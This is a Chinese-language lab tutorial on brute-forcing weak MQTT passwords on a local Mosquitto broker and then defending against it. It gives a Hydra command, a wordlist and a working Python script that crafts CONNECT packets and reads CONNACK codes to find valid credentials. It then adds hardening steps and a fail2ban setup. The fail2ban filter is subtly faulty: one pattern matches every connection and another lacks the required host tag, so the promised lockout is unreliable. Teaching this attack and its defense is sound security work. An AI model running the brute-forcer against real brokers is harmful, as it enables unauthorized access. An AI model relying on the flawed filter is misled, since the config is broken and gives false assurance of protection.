2. MQTT 弱口令爆破与防御配置
攻击面定位:MQTT CONNECT 的认证字段
Mosquitto 启用 password_file 后,客户端在 TCP 连接建立后发送的第一条报文就是 CONNECT。CONNECT 的可变报头中包含协议名、协议级别、连接标志(用户名/密码/遗嘱/清理会话等)以及保持连接时间;载荷部分依次是客户端 ID、遗嘱主题、遗嘱消息、用户名、密码。攻击者只要能在 TCP 层与 1883 端口建立连接,就可以反复发送携带不同 username/password 组合的 CONNECT 报文,并根据代理返回的 CONNACK 返回码判断口令是否正确。
关键判据是 CONNACK 的返回码:0x00 表示连接已接受,0x04 表示用户名或密码错误,0x05 表示未授权。爆破工具正是通过区分这两类返回码来筛选有效凭据。因此防御的核心不是隐藏端口,而是让错误尝试付出代价:强口令、失败计数、锁定与可审计日志。
环境准备与认证基线确认
先确认 Mosquitto 已启用密码认证,并准备一个已知弱口令账号作为靶标。以下配置片段用于建立基线,password_file 指向由 mosquitto_passwd 生成的用户文件。
# /etc/mosquitto/conf.d/auth.conf
listener 1883
allow_anonymous false
password_file /etc/mosquitto/passwd
# 关闭持久会话,便于观察每次 CONNECT
persistence false
创建两个测试账号:device01 使用弱口令 123456,admin 使用强口令 Mq!7sT#2024xQ。生成口令文件并重启代理:
sudo mosquitto_passwd -c /etc/mosquitto/passwd device01
# 交互输入 123456
sudo mosquitto_passwd /etc/mosquitto/passwd admin
# 交互输入 Mq!7sT#2024xQ
sudo systemctl restart mosquitto
用 mosquitto_sub 验证认证是否生效:使用错误口令应被拒绝,使用正确口令应能订阅成功。这一步同时确认 CONNACK 返回码在日志中的呈现形式。
# 错误口令,预期被拒绝
mosquitto_sub -h 127.0.0.1 -p 1883 -u device01 -P wrongpass -t 'test/#' -C 1
# 正确口令,预期订阅成功
mosquitto_sub -h 127.0.0.1 -p 1883 -u device01 -P 123456 -t 'test/#' -C 1
使用 Hydra 对 MQTT CONNECT 进行口令爆破
Hydra 从 9.x 起提供 mqtt 模块,直接对 CONNECT 报文进行认证尝试。准备一个小字典,包含弱口令与若干常见口令,用于演示爆破过程。注意:仅在自有实验环境或获得明确授权的目标上执行。
# weak.txt
123456
password
admin
mqtt
device01
12345678
执行 Hydra 爆破,指定用户名 device01 与字典文件,并限制任务数以便观察日志:
hydra -l device01 -P weak.txt -t 4 -f mqtt://127.0.0.1:1883
预期结果:Hydra 在尝试到 123456 时报告 [1883][mqtt] host: 127.0.0.1 login: device01 password: 123456。若 Hydra 版本不支持 mqtt 模块,可用下面的 Python 脚本替代,它直接构造 CONNECT 报文并解析 CONNACK 返回码。
import socket, struct, sys
def encode_remaining_length(n):
out = b''
while True:
b = n % 128
n //= 128
if n > 0:
b |= 0x80
out += bytes([b])
if n == 0:
break
return out
def build_connect(client_id, username, password):
payload = struct.pack('!H', len(client_id)) + client_id.encode()
payload += struct.pack('!H', len(username)) + username.encode()
payload += struct.pack('!H', len(password)) + password.encode()
flags = 0x80 | 0x40 # username + password
var_header = struct.pack('!H', 4) + b'MQTT' + bytes([4, flags]) + struct.pack('!H', 60)
body = var_header + payload
return bytes([0x10]) + encode_remaining_length(len(body)) + body
def try_login(host, port, user, pwd, timeout=3):
s = socket.socket()
s.settimeout(timeout)
try:
s.connect((host, port))
s.sendall(build_connect('brute-' + user, user, pwd))
resp = s.recv(4)
if len(resp) >= 4 and resp[0] == 0x20:
return resp[3] # CONNACK return code
return None
except Exception:
return None
finally:
s.close()
if __name__ == '__main__':
host, port, user = '127.0.0.1', 1883, 'device01'
for pwd in open('weak.txt', encoding='utf-8').read().split():
code = try_login(host, port, user, pwd)
print(f'{user}:{pwd} -> CONNACK {code}')
if code == 0x00:
print(f'[+] 有效凭据: {user} / {pwd}')
break
运行脚本后,输出中会看到 device01:123456 -> CONNACK 0,随后打印有效凭据并停止。其他口令返回 CONNACK 4 或 CONNACK 5。这一过程完整复现了攻击者仅凭 CONNECT 与 CONNACK 即可完成口令枚举的路径。
攻击日志特征
在爆破进行时,Mosquitto 日志会连续出现类似记录:
New connection from 127.0.0.1:54321 on port 1883.
Client brute-device01 disconnected, not authorised.
New connection from 127.0.0.1:54322 on port 1883.
Client brute-device01 disconnected, not authorised.
特征非常明显:同一源 IP 在短时间内产生大量 New connection,且几乎全部以 not authorised 结束,客户端 ID 呈现规律性变化。这正是后续配置失败锁定与告警的检测依据。
配置强密码策略与失败锁定
Mosquitto 本身不提供内置的失败锁定,需要借助 auth_plugin 或外部脚本实现。这里给出一种不依赖额外插件的轻量方案:使用 mosquitto_passwd 强制强口令,并通过 fail2ban 读取 Mosquitto 日志实现 IP 级锁定。
首先替换弱口令,使用 mosquitto_passwd 更新为强口令,并确保口令文件权限为 600:
sudo mosquitto_passwd /etc/mosquitto/passwd device01
# 输入强口令,例如 D3v!ce#2024_Mq
sudo chmod 600 /etc/mosquitto/passwd
sudo chown mosquitto:mosquitto /etc/mosquitto/passwd
sudo systemctl restart mosquitto
接着配置 fail2ban,匹配 Mosquitto 的 not authorised 日志并触发封禁。创建过滤器与 jail:
# /etc/fail2ban/filter.d/mosquitto.conf
[Definition]
failregex = ^.*New connection from <HOST>:\d+ on port 1883\.$
^.*Client .* disconnected, not authorised\.$
ignoreregex =
# /etc/fail2ban/jail.d/mosquitto.local
[mosquitto]
enabled = true
port = 1883
filter = mosquitto
logpath = /var/log/mosquitto/mosquitto.log
maxretry = 5
findtime = 60
bantime = 600
重启 fail2ban 后,同一 IP 在 60 秒内出现 5 次认证失败即被封禁 600 秒。再次运行爆破脚本,会观察到连接在若干次尝试后被拒绝,日志中出现 fail2ban 的封禁记录。
攻击前后日志对比与验证
用同一字典再次执行爆破,对比两次日志。攻击前(未配置锁定)日志中会持续出现 not authorised 直到字典耗尽;配置锁定后,日志会在第 5 次失败后出现封禁,后续连接被直接拒绝,不再进入认证流程。验证命令如下:
# 查看 Mosquitto 认证失败记录
sudo grep 'not authorised' /var/log/mosquitto/mosquitto.log | tail -n 20
# 查看 fail2ban 封禁状态
sudo fail2ban-client status mosquitto
预期输出中,fail2ban-client status mosquitto 会显示 Currently banned: 1,并列出被封禁的 IP。此时再用正确口令从同一 IP 连接也会被拒绝,直到封禁到期。这验证了失败锁定策略对爆破的阻断效果。